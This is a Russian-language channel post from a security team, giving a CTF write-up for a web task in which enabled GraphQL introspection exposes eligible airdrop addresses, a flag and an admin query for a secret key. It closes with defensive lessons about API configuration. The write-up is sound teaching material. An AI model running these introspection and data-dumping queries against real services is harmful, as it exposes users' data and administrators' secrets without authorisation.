TGViewer
InfoSec VK Hub InfoSec VK Hub @vk_security · 3.11K subscribers
Post #337 4.16K
Всем привет!

А вот и финальный разбор в нашей серии! Последний пазл, флаг за который дал целых 400 очков. Иногда самая простая ошибка — оставить introspection в GraphQL — становится очень дорогой...

Persik ICO Writeup
category: web, points: 400

Airdrop токена Persik уже прошёл, а вы - опоздали ... но сервис хранит больше данных, чем должен!
Достаньте любой eligible-адрес и заберите флаг
После подключения кошелька видно, что для проверки участвует ли адрес в airdrop'е отсылается GraphQL query checkAirdrop на эндпойнт /graphql. Увидим, что по этому пути нам доступен GraphiQL.


Проверим включена ли introspection:
query { __schema { types { name kind fields { name type { name kind } } } } }

Из схемы составим query getEligibleUsers и получим список список адресов участников airdrop'а:
query GetEligibleUsers { getEligibleUsers { address tokensClaimed airdropEligible } }

Выберем любой адрес и передадим его в checkAirdrop:
query CheckAirdrop($addr: String!) { checkAirdrop(address: $addr) { address tokensClaimed airdropEligible flag } }
И получим флаг:
{
  "data": {
    "checkAirdrop": {
      "address": "0x8ba1f109551bD432803012645aac136c22C19e00",
      "tokensClaimed": 3000,
      "airdropEligible": true,
      "flag": "vkctf{edd3417a9eb5c85b361d196e504b05a0}"
    }
  }
}

Опционально можно было использовать адрес администратора из admin query:
query AdminInfo { admin { secretKey vaultAddr } }


На этом серия разборов подходит к концу. Мы прошли путь от базовых уязвимостей до тонкостей GraphQL, где одна невыключенная настройка открыла доступ ко всей логике и данным сервиса. Этот таск — отличное напоминание: безопасность API часто ломается на самых простых вещах: забытых отладочных интерфейсах, излишней детализации ошибок или избыточных правах.

Предыдущие разборы серии:

1 часть
2 часть
3 часть

VK Security | Буст этому каналу

#разбор #CTF
  • 👍 6
  • ❤ 3
  • 🔥 3
  • 🏆 1
More from @vk_security
  1. Sep 18, 2026Ну что там с подкастом «Спасибо за репорт»? 👀 Есть новости. Даже несколько. Новый выпуск…
  2. Sep 17, 2026Петербург, снова к вам ⚡️⚡️ Год назад впервые привезли наш митап в северную столицу— говор…
  3. Sep 9, 2026⚡MAX теперь удобнее исследовать через Burp Suite Подготовили плагин для Burp Suite, которы…
  4. Aug 31, 2026⚡️Есть планы на 30 сентября? До ZeroNights остался месяц — хороший повод вспомнить, как эт…
  5. Aug 28, 2026Новый выпуск подкаста «Спасибо за репорт» уже в VK Видео! В выпуске обсудили: ⚡ зачем багх…
  6. Aug 27, 2026🎙 Уже завтра — новый выпуск подкаста «Спасибо за репорт» В гостях — freeman. Поговорим о…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →